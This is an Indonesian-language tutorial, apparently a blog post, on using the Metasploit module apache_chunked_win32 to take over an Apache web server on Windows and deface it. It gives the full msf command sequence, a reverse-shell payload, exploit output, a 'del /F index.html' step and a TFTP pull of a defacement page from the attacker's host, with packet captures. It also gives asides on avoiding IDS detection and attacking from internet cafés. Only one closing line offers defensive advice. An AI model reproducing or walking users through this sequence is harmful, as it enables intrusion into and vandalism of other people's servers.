OK langsung aja yach? Berikut ini saya akan menjelaskan cara kerja
tool Metasploit. Dengan tool ini kita akan memperoleh akses ke tingkat
sistem pada Apache web server. Memperoleh shell yang memungkinkan kita
mengupload file index.html kita sendiri, yang menjadi halaman default
dari web server tersebut.
Catatan dibawah ini menunjukkan bagaimana perintah “show exploits”
akan dilakukan saat berada pada prompt msf dari Metasploit. Berikut ini
daftar exploit yang ada.
msf > show exploits
Metasploit Framework Loaded Exploits
====================================
Credits Metasploit Framework Credits
afp_loginext AppleFileServer LoginExt PathName Buffer Overflow
apache_chunked_win32 Apache Win32 Chunked Encoding
blackice_pam_icq ISS PAM.dll ICQ Parser Buffer Overflow
distcc_exec DistCC Daemon Command Execution
exchange2000_xexch50 Exchange 2000 MS03-46 Heap Overflow
frontpage_fp30reg_chunked Frontpage fp30reg.dll Chunked Encoding
ia_webmail IA WebMail 3.x Buffer Overflow
iis50_nsiislog_post IIS 5.0 nsiislog.dll POST Overflow
iis50_printer_overflow IIS 5.0 Printer Buffer Overflow
iis50_webdav_ntdll IIS 5.0 WebDAV ntdll.dll Overflow
Jadi disini kita bisa melihat daftar exploit pada Metasploit
(penulis: maaf saya ringkas saja). salah satu yang akan kita gunakan
adalah exploit nomor 2 dari atas, yakni: apache_chunked_win32
Sekarang ketik perintah exploit dibawah ini:
msf > use apache_chunked_win32
msf apache_chunked_win32 >
Sebagaimana yang terlihat pada prompt akan berubah menjadi msf
apache_chunked_win32> dengan prompt ini kita dapat melihat berbagai
opsi exploit jenis ini, silakan ketik perintah dibawah ini:
msf apache_chunked_win32 > show options
Exploit Options
===============
Exploit: Name Default Description
-------- ------ ------- ------------------
optional SSL Use SSL
required RHOST The target address
required RPORT 80 The target port
Target: Windows NT/2K Brute Force
msf apache_chunked_win32 >
Sekarang kita balik ke prompt semula, dan daftar opsi yang kita
perlu isi seperti remote host IP address target, seperti contoh dibawah
ini:
msf apache_chunked_win32 > set RHOST 192.168.1.101
RHOST -> 192.168.1.101
msf apache_chunked_win32 >
Disini kita dapat melihat berbagai opsi yang kita perlukan sebelum
menggunakan exploit ini guna mendapatkan akses tingkat sistem. Dalam
kasus ini saya menggunakan perintah berikut untuk melihat apakah opsi
payloads bisa digunakan?
msf apache_chunked_win32 > show payloads
Metasploit Framework Usable Payloads
====================================
win32_bind Windows Bind Shell
win32_bind_dllinject Windows Bind DLL Inject
win32_bind_stg Windows Staged Bind Shell
win32_bind_stg_upexec Windows Staged Bind Upload/Execute
win32_bind_vncinject Windows Bind VNC Server DLL Inject
win32_reverse Windows Reverse Shell
win32_reverse_dllinject Windows Reverse DLL Inject
win32_reverse_stg Windows Staged Reverse Shell
win32_reverse_stg_ie Windows Reverse InlineEgg Stager
win32_reverse_stg_upexec Windows Staged Reverse Upload/Execute
win32_reverse_vncinject Windows Reverse VNC Server DLL Inject
msf apache_chunked_win32 >
Ehm! Pilihan yang bagus bukan? Opsi ini merupakan bagian dari
Metasploit Framework, yang memungkinkan anda menggunakan “egg” apapun
yang anda pilih. Egg disini adalah apapun payload yang akan anda
eksekusi pada komputer korban. Pilihan ini merupakan hal umum dalam
penggunaan security tool.
Dari apa yang kita lihat diatas ada suatu kelebihan dari opsi yang
ada pada kami. Dalam kasus ini kita akan menggunakan win32_reverse
payload. Mengapa? baiklah kita menginginkan shell yang bisa kita gunakan
untuk mengangkut materi bolak-balik. Tepatnya kita ingin meng-copy file
index.html, dan membuat beberapa modifikasi alias Deface. Hanya dengan
shell itulah kita dapat melakukannya. Harap diperhatikan bahwa kita
perlu memberitahu Framework tersebut bahwa kita ingin opsi payload
tersebut. Berikut ini sintak-nya:
msf apache_chunked_win32 > set PAYLOAD win32_reverse
PAYLOAD -> win32_reverse
msf apache_chunked_win32(win32_reverse) >
Jadi kita sekarang telah menentukan payload dan telah menjadi prompt
dibelakangnya. Apa selanjutnya? Hmm… kita perlu menentukan IP address
untuk menerima reverse shell tersebut. Ingatlah kembali beberapa langkah
sebelumnya saat kita mengeset RHOST untuk menentukan mesin korban? Kita
juga perlu melakukan hal yang sama untuk menentukan receiving host.
Silakan lihat perintahnya dibawah ini:
msf apache_chunked_win32(win32_reverse) > set LHOST 192.168.1.102
LHOST -> 192.168.1.102
msf apache_chunked_win32(win32_reverse) >
Sekarang saatnya kita menjalankan exploit. Syntaknya adalah sebagai berikut:
msf apache_chunked_win32(win32_reverse) > exploit
192.168.1.101[*] Starting Reverse Handler.[*] Trying to exploit Windows
2000 using return 0x1c0f143c with padding of 348...[*] Trying to exploit
Windows NT using return 0x1c0f1022 with padding of 348...[*] Trying to
exploit Windows 2000 using return 0x1c0f143c with padding of 352...[*]
Trying to exploit Windows NT using return 0x1c0f1022 with padding of
352...[*] Trying to exploit Windows 2000 using return 0x1c0f143c with
padding of 356...[*] Trying to exploit Windows NT using return
0x1c0f1022 with padding of 356...[*] Trying to exploit Windows 2000
using return 0x1c0f143c with padding of 360...[*] Got connection from
192.168.1.101:1031
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\Program Files\Apache Group\Apache>
Kita bisa melihat diatas bahwa sekarang kita memiliki command prompt
pada direktori Apache itu sendiri. Ada satu opsi yang bisa kita gunakan
dalam kasus ini; dimana target seandainya tidak menampilkan sistem
operasi apa yang digunakan. Untuk mengetahuinya lakukan hal berikut ini:
msf apache_chunked_win32(win32_reverse) > show targets
Daftar target akan ditampilkan. Yang tinggal anda adalah menentukan target sebagai berikut;
msf apache_chunked_win32(win32_reverse) > set TARGET 1
Yang akan memasukkan target 1 dimana bila sistem operasinya adalah W2K Pro.
Sejauh ini kita telah melumpuhkan Apache web server, dan kita telah
memiliki reverse shell. Dengan reverse shell dan akses ke sistem pada
mesin guna melakukan manipulasi atau deface. Kita telah mengendalikan
remote web server, jadi apa yang harus kita lakukan selanjutnya? Mari
kita melakukan “dir” untuk melihat direktori yang ada, seperti contoh
dibawah ini:
C:\Program Files\Apache Group\Apache>dir
dir
Volume in drive C has no label.
Volume Serial Number is C8E5-633B
Directory of C:\Program Files\Apache Group\Apache
12/12/2004 10:04a
.
12/12/2004 10:04a ..
12/15/2000 08:39a 14,583 ABOUT_APACHE
01/25/2001 03:12p 4,182 Announcement
01/30/2001 12:00a 20,480 Apache.exe
01/30/2001 12:00a 323,584 ApacheCore.dll
12/12/2004 10:04a bin
12/12/2004 10:04a cgi-bin
12/12/2004 10:04a conf
12/12/2004 10:04a htdocs
12/12/2004 10:04a 12/12/2004 10:04a include
06/05/2000 01:28p 41,421 KEYS
12/12/2004 10:04a lib
12/12/2004 10:04a libexec
01/15/2001 10:26a 2,885 LICENSE
12/12/2004 10:07a logs
12/12/2004 10:04a modules
12/12/2004 10:04a proxy
12/15/2000 09:04a 4,202 README-WIN.TXT
12/12/2004 10:04a src
11/06/2000 11:57a 1,342 WARNING-WIN.TXT
01/29/2001 11:23p 20,480 Win9xConHook.dll
01/29/2001 11:24p 40,960 xmlparse.dll
01/29/2001 11:24p 73,728 xmltok.dll
11 File(s) 547,847 bytes
14 Dir(s) 11,142,889,472 bytes free
C:\Program Files\Apache Group\Apache>
Ehm, baiklah akan saya katakan bagi para “web page defacer” untuk
melihat isi direktori htdocs yang menyimpan file index.html. Jadi saya
mengetik perintah “cd htdocs” lalu mengetik “dir”.
C:\Program Files\Apache Group\Apache\htdocs>dir
dir
Volume in drive C has no label.
Volume Serial Number is C8E5-633B
Directory of C:\Program Files\Apache Group\Apache\htdocs
12/18/2004 08:20a .
12/18/2004 08:20a ..
07/03/1996 01:18a 2,326 apache_pb.gif
01/19/2001 01:39p 1,354 index.html.en
12/12/2004 10:04a manual
04/04/2000 10:26a 743 README.rus
3 File(s) 4,423 bytes
3 Dir(s) 11,143,004,160 bytes free
C:\Program Files\Apache Group\Apache\htdocs>
Jadi harap berhati-hati. Apa yang kita perlu lakukan adalah
menghapus file tersebut (file index.html), dan setelah melakukannya,
masukkan file index.html anda sendiri di tempat tersebut. Bagaimana cara
melakukannya? Ada cara terbaik untuk mentrasfer file tersebut, dan
teknik yang sering dilakukan oleh para hacker adalah menggunakan TFTP.
Para attacker harus memiliki program TFTP server pada komputer mereka,
kemudian menggunakan built-in TFTP client pada komputer target untuk
melakukan transfer file.
Mari kita melihat kebelakang sebentar. Kita telah memperoleh akses
ke shell pada web server melalui exploitasi apache_chunked yang
dilakukan dengan Metasploit Framework. Tujuan kita adalah melakukan
simulasi bagaimana pelaku deface melakukannya. Sejauh ini kita berada
pada jalur yang benar. Saat mendapatkan akses ke web server, kita
melihat isi daftar direktori dan melihat ada direktori htdocs yang
didalamnya tersimpan file index.html. File inilah yang akan kita
modifikasi dengan pesan deface kita sendiri. Dari sini kita akan
menggunakan TFTP protokol diatas utuk mendapatkan file index.html yang
kemudian akan kita kembalikan ke web server korban. Mari kita
melakukannya!
Oops, hati-hati bung, jangan bertindak gegabah ada kemungkinan anda
terdeteksi oleh firewall, atau IDS log dsb. Pokoknya hati-hati sajalah.
Tapi kebanyakan dari para defacer melakukan aktifitas ini dari warnet
dan tidak peduli akibatnya pada warnet yang komputernya mereka sewa.
Perhatikan dibawah ini adalah komputer penyerang yang menghapus file
index.html pada web server korban. Hal ini harus dilakukan dengan
perintah “del /F”. Para attacker harus menghapus file index.html sebelum
mereka menyisipkan file index.html mereka sendiri melalui TFTP.
11:02:39.079422 IP (tos 0x0, ttl 64, id 50860, offset 0, flags [DF],
length: 58) 192.168.1.102.4321 > 192.168.1.101.1028: P [tcp sum ok]
51364367:51364385(18) ack 813323178 win 10720
0x0000: 4500 003a c6ac 4000 4006 eff5 c0a8 0166 E..:..@.@......f
0x0010: c0a8 0165 10e1 0404 030f c20f 307a 53aa ...e........0zS.
0x0020: 5018 29e0 a0a4 0000 6465 6c20 2f46 2069 P.).....del./F.i
0x0030: 6e64 6578 2e68 746d 6c0a ndex.html.
Dari paket yang ditampilkan dibawah ini kita bisa memverifikasi
bahwa mesin penyerang 192.168.1.102 menggunakan perintah tftp ke web
server target;
tftp –i 192.168.1.102 GET index.html
Paket kedua menampilkan web server target menerima tftp request ini
kepada tftp server penyerang. Mengingat penyerang ini memiliki reverse
shell sebagaimana yang ditampilkan dibawah ini:
11:02:48.698588 IP (tos 0x0, ttl 64, id 50878, offset 0, flags [DF],_
length: 77) 192.168.1.102.4321 > 192.168.1.101.1028: P [tcp sum ok]_
51364389:51364426(37) ack 813323812 win 10720
0x0000: 4500 004d c6be 4000 4006 efd0 c0a8 0166 E..M..@.@......f
0x0010: c0a8 0165 10e1 0404 030f c225 307a 5624 ...e.......%0zV$
0x0020: 5018 29e0 0c3c 0000 7466 7470 202d 6920 P.)..<..tftp.-i.
0x0030: 3139 322e 3136 382e 312e 3130 3220 4745 192.168.1.102.GE
0x0040: 5420 696e 6465 782e 6874 6d6c 0a T.index.html.
11:02:48.699161 IP (tos 0x0, ttl 128, id 117, offset 0, flags [DF],_
length: 77) 192.168.1.101.1028 > 192.168.1.102.4321: P [tcp sum ok]_
813323812:813323849(37) ack 51364426 win 17443
0x0000: 4500 004d 0075 4000 8006 761a c0a8 0165 E..M.u@...v....e
0x0010: c0a8 0166 0404 10e1 307a 5624 030f c24a ...f....0zV$...J
0x0020: 5018 4423 f1d3 0000 7466 7470 202d 6920 P.D#....tftp.-i.
0x0030: 3139 322e 3136 382e 312e 3130 3220 4745 192.168.1.102.GE
0x0040: 5420 696e 6465 782e 6874 6d6c 0a T.index.html.
ada dua paket data yang telah melakukan konfirmasi tftp transfer
yang diminta. Silakan lihat catatan transfer data halaman index.html
anda sendiri ke web server korban.
11:02:48.834306 IP (tos 0x0, ttl 64, id 26457, offset 0, flags [DF],_
length: 544) 192.168.1.102.1024 > 192.168.1.101.1030: [udp sum ok]_
UDP, length: 516
0x0000: 4500 0220 6759 4000 4011 4d58 c0a8 0166 E...gY@.@.MX...f
0x0010: c0a8 0165 0400 0406 020c 3502 0003 0001 ...e......5.....
0x0020: 3c21 444f 4354 5950 4520 6874 6d6c 2050 0x0030: 5542 4c49 4320 222d 2f2f 5733 432f 2f44 UBLIC."-//W3C//D
0x0040: 5444 2048 544d 4c20 342e 3031 2054 7261 TD.HTML.4.01.Tra
0x0050: 6e73 6974 696f 6e61 6c2f 2f45 4e22 3e0a nsitional//EN">.
0x0060: 3c68 746d 6c3e 0a3c 6865 6164 3e0a 2020 ....
0x0070: 3c74 6974 6c65 3e69 6e64 6578 2e68 746d ...
0x00a0: 723e 0a3c 2f68 323e 0a3c 6831 3e3c 6272 r>.
.
0x00b0: 3e0a 3c2f 6831 3e0a 3c68 313e 3c62 723e >.
.
0x00c0: 0a3c 2f68 313e 0a3c 6831 3e59 6f75 2068 .
.
Situs.i
0x00d0: 6176 6520 6a75 7374 2062 6565 6e20 6f77 ni.telah.di.defa
0x00e0: 6e65 6420 6279 2061 6c74 2e64 6f6e 3c2f ce.oleh.NamaAnda…
Kemudian perhatikan paket data terakhir ini menyatakan transfer halaman index.html telah berhasil dilakukan.
11:02:48.847478 IP (tos 0x0, ttl 128, id 121, offset 0, flags [DF],_
length: 98) 192.168.1.101.1028 > 192.168.1.102.4321: P [tcp sum ok]_
813323849:813323907(58) ack 51364426 win 17443
0x0000: 4500 0062 0079 4000 8006 7601 c0a8 0165 E..b.y@...v....e
0x0010: c0a8 0166 0404 10e1 307a 5649 030f c24a ...f....0zVI...J
0x0020: 5018 4423 fa01 0000 5472 616e 7366 6572 P.D#....Transfer
0x0030: 2073 7563 6365 7373 6675 6c3a 2036 3736 .successful:.676
0x0040: 2062 7974 6573 2069 6e20 3120 7365 636f .bytes.in.1.seco
0x0050: 6e64 2c20 3637 3620 6279 7465 732f 730d nd,.676.bytes/s.
0x0060: 0d0a ..
Deface telah dilakukan, dan itulah yang biasanya dilakukan oleh para
defacer. Adakalanya para penyerang ini melakukan hal-hal yang lebih
buruk lagi seperti menginstal rootkit, ftp server atau content yang
tidak diinginkan. Saran saya, jika web server anda terdeface, maka yang
harus anda lakukan adalah memformat hard disk anda karena kita tidak
tahu apa yang telah dilakukan orang-orang ini pada web server anda.
Sekedar mengganti halaman web yang terdeface tidaklah cukup.
Oh Iya, saya hampir lupa! Kira-kira seperti apa yach halaman web yang kita deface tadi? Coba anda perhatikan gambar dibawah ini:
nah ternyata mendeface web server itu relatif mudah bukan? Apa yang
harus dilakukan adalah menemukan celah keamanan pada program web server
seperti Apache. Selanjutnya, melakukan coding untuk mengeksploitasinya.
Hmm… orang-orang jenis inilah yang disebut hacker dengan kemampuan
melakukan riset dan sangat berbakat. Orang-orang seperti HDM dan spoonm
yang telah meluangkan waktunya guna mengembangkan Metasploit Framework
agar kita dapat mempelajarinya.